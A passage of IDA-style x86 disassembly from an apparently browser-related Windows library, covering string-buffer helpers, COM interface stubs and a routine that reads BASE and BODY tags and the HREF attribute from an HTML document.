sub_69B88E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88E3F	proc near		; CODE XREF: sub_69B61BB4+4Bp
					; sub_69B61BB4+69p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		mov	ebx, ecx
		mov	eax, [ebx+8]
		push	edi
		add	eax, esi
		push	eax
		call	sub_69B88DA3
		mov	eax, [esp+0Ch+arg_4]
		mov	edx, [esp+0Ch+arg_0]
		mov	ecx, esi
		lea	esi, [edx+eax*2]
		mov	eax, [ebx+8]
		mov	edx, [ebx+0Ch]
		lea	edi, [edx+eax*2+0Ch]
		mov	eax, [esp+0Ch+arg_8]
		rep movsw
		add	[ebx+8], eax
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	0Ch
sub_69B88E3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88E7C	proc near		; CODE XREF: sub_69B3047E+48p
					; sub_69B304F3+67p ...

arg_0		= word ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		inc	eax
		push	eax
		call	sub_69B88DA3
		push	dword ptr [esi+8]
		mov	ecx, [esi+0Ch]
		call	sub_69B2EDDB
		mov	cx, [esp+4+arg_0]
		mov	[eax], cx
		inc	dword ptr [esi+8]
		mov	eax, esi
		pop	esi
		retn	4
sub_69B88E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88EA5	proc near		; CODE XREF: sub_69B61BB4+37p
					; sub_69B6699A+4A6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	eax, [esi+8]
		add	eax, [edi+8]
		push	eax
		call	sub_69B88DA3
		push	dword ptr [esi+8]
		mov	ecx, edi
		push	dword ptr [esi+0Ch]
		push	dword ptr [edi+8]
		push	0
		call	sub_69B2F14E
		mov	eax, [edi+8]
		add	[esi+8], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B88EA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88ED8	proc near		; CODE XREF: sub_69B35A98+Bp
					; sub_69B35A98+17p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+8], ecx
		mov	ecx, [esp+arg_4]
		mov	[eax+10h], ecx
		retn	8
sub_69B88ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88EF5	proc near		; CODE XREF: sub_69B32133+5Ap
					; sub_69B32133+64j ...
		push	dword ptr [ecx+4]
		call	sub_69B1B2B7
		retn
sub_69B88EF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88EFE	proc near		; CODE XREF: sub_69B318FB+6j
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+0Ch]
		add	eax, [ebx+10h]
		push	ebp
		imul	eax, [ebx]
		push	eax
		call	sub_69B11E44
		mov	ebp, eax
		xor	eax, eax
		test	ebp, ebp
		jz	short loc_69B88F74
		mov	ecx, [ebx+0Ch]
		add	ecx, [ebx+10h]
		push	edi
		imul	ecx, [ebx]
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, ebp
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [ebx+8]
		test	eax, eax
		jle	short loc_69B88F54
		mov	ecx, [ebx]
		imul	ecx, eax
		mov	eax, ecx
		push	esi
		mov	esi, [ebx+4]
		shr	ecx, 2
		mov	edi, ebp
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi


loc_69B88F54:				; CODE XREF: sub_69B88EFE+3Aj
		mov	eax, [ebx+10h]
		push	dword ptr [ebx+4]
		add	[ebx+0Ch], eax
		call	sub_69B1B2B7
		mov	ecx, [ebx+8]
		mov	eax, [ebx]
		imul	eax, ecx
		add	eax, ebp
		inc	ecx
		mov	[ebx+4], ebp
		mov	[ebx+8], ecx
		pop	edi


loc_69B88F74:				; CODE XREF: sub_69B88EFE+19j
		pop	ebp
		pop	ebx
		retn
sub_69B88EFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88F77	proc near		; DATA XREF: .text:69B145ACo
		mov	eax, offset off_69B2B19C
		retn
sub_69B88F77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88F7D	proc near		; CODE XREF: sub_69B77D54+Fp
					; DATA XREF: .text:69B220C4o ...

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		and	eax, [esp+arg_8]
		mov	[ecx+10h], eax
		retn	0Ch
sub_69B88F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B88F8B	proc near		; CODE XREF: sub_69B3B844+2Bp
					; sub_69B3C3D3+5Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B110
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B88FB3
		mov	esi, [ebp+arg_0]


loc_69B88FA4:				; CODE XREF: sub_69B88F8B+45j
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], esi
		xor	eax, eax
		jmp	short loc_69B88FD7
; ---------------------------------------------------------------------------


loc_69B88FB3:				; CODE XREF: sub_69B88F8B+14j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B0C0
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B88FD2
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+4]
		neg	esi
		sbb	esi, esi
		and	esi, eax
		jmp	short loc_69B88FA4
; ---------------------------------------------------------------------------


loc_69B88FD2:				; CODE XREF: sub_69B88F8B+37j
		mov	eax, 80004002h


loc_69B88FD7:				; CODE XREF: sub_69B88F8B+26j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B88F8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B88FDD	proc near		; CODE XREF: .text:69B89E7Fj
					; DATA XREF: .text:off_69B89E34o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		lea	ecx, [esi+8]
		push	esi
		call	sub_69B87FE8
		cmp	eax, 80004002h
		jnz	short loc_69B89006
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B88F8B


loc_69B89006:				; CODE XREF: sub_69B88FDD+1Bj
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B88FDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8900B	proc near		; CODE XREF: .text:69B73E11p
					; .text:69B897A3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword ptr [ecx+4], 0
		jnz	short loc_69B8901A
		mov	eax, [esp+arg_4]
		and	dword ptr [eax], 0
		jmp	short locret_69B8903B
; ---------------------------------------------------------------------------


loc_69B8901A:				; CODE XREF: sub_69B8900B+4j
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_69B89030
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B88161
		jmp	short loc_69B89035
; ---------------------------------------------------------------------------


loc_69B89030:				; CODE XREF: sub_69B8900B+14j
		mov	eax, 80004005h


loc_69B89035:				; CODE XREF: sub_69B8900B+23j
		push	eax
		call	sub_69B8861E

locret_69B8903B:			; CODE XREF: sub_69B8900B+Dj
		retn	8
sub_69B8900B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8903E	proc near		; CODE XREF: sub_69B5E0C8+5Cp
					; sub_69B89865+7p

var_1100	= dword	ptr -1100h
var_10FC	= dword	ptr -10FCh
var_10F8	= byte ptr -10F8h
var_10F0	= dword	ptr -10F0h
var_10E4	= dword	ptr -10E4h
var_10E0	= dword	ptr -10E0h
var_10DC	= word ptr -10DCh
var_10D4	= dword	ptr -10D4h
nChar		= dword	ptr -10CCh
lpStr1		= dword	ptr -10C8h
var_10C4	= dword	ptr -10C4h
var_10C0	= dword	ptr -10C0h
var_10BC	= byte ptr -10BCh
pvarg		= VARIANTARG ptr -10ACh
var_109C	= dword	ptr -109Ch
var_1098	= dword	ptr -1098h
var_1094	= dword	ptr -1094h
lpString	= dword	ptr -1090h
String		= word ptr -108Ch
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_69B89508
		push	offset sub_69B22496
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 10E8h
		call	sub_69B1B09C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_38], ebx
		push	offset aHref	; "HREF"
		call	SysAllocString
		mov	[ebp+var_3C], eax
		cmp	eax, ebx
		jz	loc_69B89482
		mov	[ebp+var_4], ebx
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [ebp+var_20]
		push	ecx
		push	offset dword_69B2B040
		push	esi
		call	dword ptr [eax]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jge	short loc_69B890DE
		mov	eax, [esi]
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	(offset	loc_69B2B07C+4)
		push	esi
		call	dword ptr [eax]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jge	loc_69B891DD
		jmp	loc_69B8947E
; ---------------------------------------------------------------------------


loc_69B890DE:				; CODE XREF: sub_69B8903E+80j
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		lea	edx, [ebp+var_34]
		push	edx
		push	offset dword_69B2AFF0
		push	offset nullsub_1
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B8912D
		mov	eax, [ebp+var_34]
		mov	ecx, [eax]
		lea	edx, [ebp+var_44]
		push	edx
		push	1048h
		lea	edx, [ebp+String]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jl	short loc_69B8912D
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	sub_69B1A587
		mov	[ebp+var_38], eax
		jmp	loc_69B8947E
; ---------------------------------------------------------------------------


loc_69B8912D:				; CODE XREF: sub_69B8903E+BCj
					; sub_69B8903E+D9j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, offset dword_69B2AF40
		push	eax
		push	eax
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B891A3
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+var_28]
		push	edx
		push	ebx
		push	offset dword_69B295C0
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B8947E
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	ebx
		push	ebx
		push	eax
		call	dword ptr [ecx+50h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B8947E
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		mov	[ebp+var_38], eax
		push	[ebp+lpString]	; pv
		call	ds:CoTaskMemFree
		jmp	loc_69B8947E
; ---------------------------------------------------------------------------


loc_69B891A3:				; CODE XREF: sub_69B8903E+108j
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		lea	edx, [ebp+var_2C]
		push	edx
		mov	esi, (offset loc_69B2B07C+4)
		push	esi
		push	offset dword_69B2AEF0
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jge	short loc_69B891DD
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		lea	edx, [ebp+var_2C]
		push	edx
		push	esi
		push	offset dword_69B2AF00
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jl	loc_69B8947E


loc_69B891DD:				; CODE XREF: sub_69B8903E+95j
					; sub_69B8903E+182j
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_1094]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	loc_69B893DF
		mov	eax, [ebp+var_1094]
		cmp	eax, ebx
		jz	loc_69B893DF
		mov	[ebp+var_1098],	ebx
		mov	ecx, [eax]
		lea	edx, [ebp+var_1098]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		xor	edi, edi
		mov	[ebp+var_109C],	edi


loc_69B89221:				; CODE XREF: sub_69B8903E+390j
		cmp	edi, [ebp+var_1098]
		jge	loc_69B893D3
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	esi, VariantInit
		call	esi ; VariantInit
		mov	word ptr [ebp+pvarg.anonymous_0], 3
		mov	dword ptr [ebp+pvarg.anonymous_0+8], edi
		lea	eax, [ebp+var_10BC]
		push	eax		; pvarg
		call	esi ; VariantInit
		mov	[ebp+var_10C0],	ebx
		mov	eax, [ebp+var_1094]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10C0]
		push	edx
		sub	esp, 10h
		lea	esi, [ebp+var_10BC]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		sub	esp, 10h
		lea	esi, [ebp+pvarg]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_10C0]
		cmp	eax, ebx
		jz	loc_69B893C2
		mov	[ebp+var_10C4],	ebx
		mov	ecx, [eax]
		lea	edx, [ebp+var_10C4]
		push	edx
		push	offset dword_69B2B0A0
		push	eax
		call	dword ptr [ecx]
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_10C4]
		cmp	eax, ebx
		jz	loc_69B893B6
		mov	[ebp+lpStr1], ebx
		mov	ecx, [eax]
		lea	edx, [ebp+lpStr1]
		push	edx
		push	eax
		call	dword ptr [ecx+38h]
		mov	[ebp+var_40], eax
		cmp	[ebp+lpStr1], ebx
		jz	loc_69B893AA
		push	[ebp+lpStr1]	; BSTR
		mov	esi, SysStringLen
		call	esi ; SysStringLen
		mov	[ebp+nChar], eax
		push	eax		; nChar
		push	offset aBase	; "BASE"
		push	[ebp+lpStr1]	; lpStr1
		mov	edi, ds:StrCmpNIW
		call	edi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B8937B
		lea	eax, [ebp+var_10DC]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+var_10C4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10DC]
		push	edx
		push	ebx
		push	[ebp+var_3C]
		push	eax
		call	dword ptr [ecx+20h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_10DC],	8
		jnz	short loc_69B8936C
		mov	eax, [ebp+var_10D4]
		cmp	eax, ebx
		jz	short loc_69B8936C
		mov	[ebp+var_10E0],	eax
		push	eax		; BSTR
		call	esi ; SysStringLen
		mov	[ebp+nChar], eax
		push	eax
		push	ebx
		push	[ebp+var_10E0]
		call	sub_69B190A9
		mov	[ebp+var_38], eax


loc_69B8936C:				; CODE XREF: sub_69B8903E+303j
					; sub_69B8903E+30Dj
		lea	eax, [ebp+var_10DC]
		push	eax		; pvarg
		call	VariantClear
		jmp	short loc_69B89392
; ---------------------------------------------------------------------------


loc_69B8937B:				; CODE XREF: sub_69B8903E+2D2j
		push	[ebp+nChar]	; nChar
		push	offset aBody	; "BODY"
		push	[ebp+lpStr1]	; lpStr1
		call	edi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B8939E


loc_69B89392:				; CODE XREF: sub_69B8903E+33Bj
		mov	eax, [ebp+var_1098]
		mov	[ebp+var_109C],	eax


loc_69B8939E:				; CODE XREF: sub_69B8903E+352j
		push	[ebp+lpStr1]	; BSTR
		call	SysFreeString


loc_69B893AA:				; CODE XREF: sub_69B8903E+2A2j
		mov	eax, [ebp+var_10C4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B893B6:				; CODE XREF: sub_69B8903E+280j
		mov	eax, [ebp+var_10C0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B893C2:				; CODE XREF: sub_69B8903E+258j
		inc	[ebp+var_109C]
		mov	edi, [ebp+var_109C]
		jmp	loc_69B89221
; ---------------------------------------------------------------------------


loc_69B893D3:				; CODE XREF: sub_69B8903E+1E9j
		mov	eax, [ebp+var_1094]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B893DF:				; CODE XREF: sub_69B8903E+1B4j
					; sub_69B8903E+1C2j
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10E4]
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B8947E
		mov	esi, [ebp+var_38]
		cmp	esi, ebx
		jz	short loc_69B89451
		lea	ecx, [ebp+var_10F8]
		call	sub_69B3A66D
		mov	eax, [esi+0Ch]
		mov	[ebp+var_10FC],	eax
		push	[ebp+var_10E4]	; int
		push	eax		; lpString
		lea	ecx, [ebp+var_10F8]
		call	sub_69B3A709
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_69B89446
		mov	eax, [ebp+var_10F0]
		mov	[ebp+var_1100],	eax
		push	eax		; lpString
		call	sub_69B1A587
		mov	[ebp+var_38], eax


loc_69B89446:				; CODE XREF: sub_69B8903E+3F1j
		lea	ecx, [ebp+var_10F8]
		call	sub_69B3A8F3


loc_69B89451:				; CODE XREF: sub_69B8903E+3C4j
		cmp	[ebp+var_38], ebx
		jnz	short loc_69B89464
		push	[ebp+var_10E4]	; lpString
		call	sub_69B1A587
		mov	[ebp+var_38], eax


loc_69B89464:				; CODE XREF: sub_69B8903E+416j
		push	[ebp+var_10E4]	; BSTR
		call	SysFreeString
		jmp	short loc_69B8947E
; ---------------------------------------------------------------------------


loc_69B89472:				; DATA XREF: .text:69B8950Co
		push	[ebp+var_14]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8947B:				; DATA XREF: .text:69B89510o
		mov	esp, [ebp+var_18]


loc_69B8947E:				; CODE XREF: sub_69B8903E+9Bj
					; sub_69B8903E+EAj ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_69B89482:				; CODE XREF: sub_69B8903E+61j
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_69B17230
		push	[ebp+var_3C]	; BSTR
		call	SysFreeString
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B8903E	endp

; ---------------------------------------------------------------------------
; const	WCHAR aBody
aBody:					; DATA XREF: sub_69B8903E+343o
		unicode	0, <BODY>,0
		align 4
; const	WCHAR aBase
aBase:					; DATA XREF: sub_69B8903E+2BDo
		unicode	0, <BASE>,0
		align 4
; OLECHAR aHref
aHref:					; DATA XREF: sub_69B8903E+51o
		unicode	0, <HREF>,0
		align 8
dword_69B89508	dd 0FFFFFFFFh			dd offset loc_69B89472
		dd offset loc_69B8947B

; =============== S U B	R O U T	I N E =======================================



sub_69B89514	proc near		; DATA XREF: .text:69B27880o
					; .text:69B27958o ...
		push	24h
		push	offset dword_69B895E8
		call	sub_69B19C5C
		mov	ebx, [ebp+10h]
		test	ebx, ebx
		jz	loc_69B895D6
		mov	edi, [ebp+14h]
		test	edi, edi
		jz	loc_69B895D6
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B8954D
		mov	eax, 80004005h
		jmp	loc_69B895DB
; ---------------------------------------------------------------------------


loc_69B8954D:				; CODE XREF: sub_69B89514+2Dj
		mov	esi, [ebp+8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+14h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		and	dword ptr [ebp-30h], 0
		and	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		mov	[ebp-34h], eax
		push	3
		pop	ecx
		mov	[ebx], ecx
		mov	eax, [eax+10h]
		and	eax, ecx
		mov	[edi], eax
		jmp	short loc_69B895B4
; ---------------------------------------------------------------------------


loc_69B89593:				; DATA XREF: .text:69B895ECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8959C:				; DATA XREF: .text:69B895F0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B895B4:				; CODE XREF: sub_69B89514+7Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]
		jmp	short loc_69B895DB
; ---------------------------------------------------------------------------


loc_69B895D6:				; CODE XREF: sub_69B89514+11j
					; sub_69B89514+1Cj
		mov	eax, 80004003h


loc_69B895DB:				; CODE XREF: sub_69B89514+34j
					; sub_69B89514+C0j
		call	sub_69B1853C
		retn	10h
sub_69B89514	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B895E8	dd 0FFFFFFFFh			dd offset loc_69B89593
		dd offset loc_69B8959C

; =============== S U B	R O U T	I N E =======================================



sub_69B895F4	proc near		; DATA XREF: .text:69B27884o
					; .text:69B2795Co ...
		push	18h
		push	offset dword_69B89688
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B89616
		mov	eax, 80004005h
		jmp	short loc_69B8967F
; ---------------------------------------------------------------------------


loc_69B89616:				; CODE XREF: sub_69B895F4+19j
		mov	esi, [ebp+8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		mov	edx, [eax]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	ecx, eax
		call	dword ptr [edx+4]
		jmp	short loc_69B89668
; ---------------------------------------------------------------------------


loc_69B89648:				; DATA XREF: .text:69B8968Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B89651:				; DATA XREF: .text:69B89690o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B89668:				; CODE XREF: sub_69B895F4+52j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B8967F:				; CODE XREF: sub_69B895F4+20j
		call	sub_69B1853C
		retn	10h
sub_69B895F4	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B89688	dd 0FFFFFFFFh			dd offset loc_69B89648
		dd offset loc_69B89651
; ---------------------------------------------------------------------------


loc_69B89694:				; DATA XREF: .text:69B2786Co
					; .text:69B27944o ...
		push	18h
		push	offset dword_69B89728
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B896B6
		mov	eax, 80004005h
		jmp	short loc_69B8971B
; ---------------------------------------------------------------------------


loc_69B896B6:				; CODE XREF: .text:69B896ADj
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFFCh
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		mov	edx, [eax]
		push	dword ptr [ebp+0Ch]
		mov	ecx, eax
		call	dword ptr [edx]
		jmp	short loc_69B89704
; ---------------------------------------------------------------------------


loc_69B896E4:				; DATA XREF: .text:69B8972Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B896ED:				; DATA XREF: .text:69B89730o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B89704:				; CODE XREF: .text:69B896E2j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B8971B:				; CODE XREF: .text:69B896B4j
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 8
dword_69B89728	dd 0FFFFFFFFh			dd offset loc_69B896E4
		dd offset loc_69B896ED
; ---------------------------------------------------------------------------


loc_69B89734:				; DATA XREF: .text:69B27870o
					; .text:69B27948o ...
		push	1Ch
		push	offset dword_69B897F8
		call	sub_69B19C5C
		xor	edi, edi
		cmp	[ebp+10h], edi
		jnz	short loc_69B89751
		mov	eax, 80004003h
		jmp	loc_69B897E9
; ---------------------------------------------------------------------------


loc_69B89751:				; CODE XREF: .text:69B89745j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B89768
		mov	eax, 80004005h
		jmp	loc_69B897E9
; ---------------------------------------------------------------------------


loc_69B89768:				; CODE XREF: .text:69B8975Cj
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFFCh
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+14h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		mov	ecx, eax
		call	sub_69B8900B
		jmp	short loc_69B897CA
; ---------------------------------------------------------------------------


loc_69B897AA:				; DATA XREF: .text:69B897FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B897B3:				; DATA XREF: .text:69B89800o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B897CA:				; CODE XREF: .text:69B897A8j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B897E9:				; CODE XREF: .text:69B8974Cj
					; .text:69B89763j
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
		align 8
dword_69B897F8	dd 0FFFFFFFFh			dd offset loc_69B897AA
		dd offset loc_69B897B3

; =============== S U B	R O U T	I N E =======================================



sub_69B89804	proc near		; CODE XREF: sub_69B3C634+75p
					; sub_69B3F90C+4Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
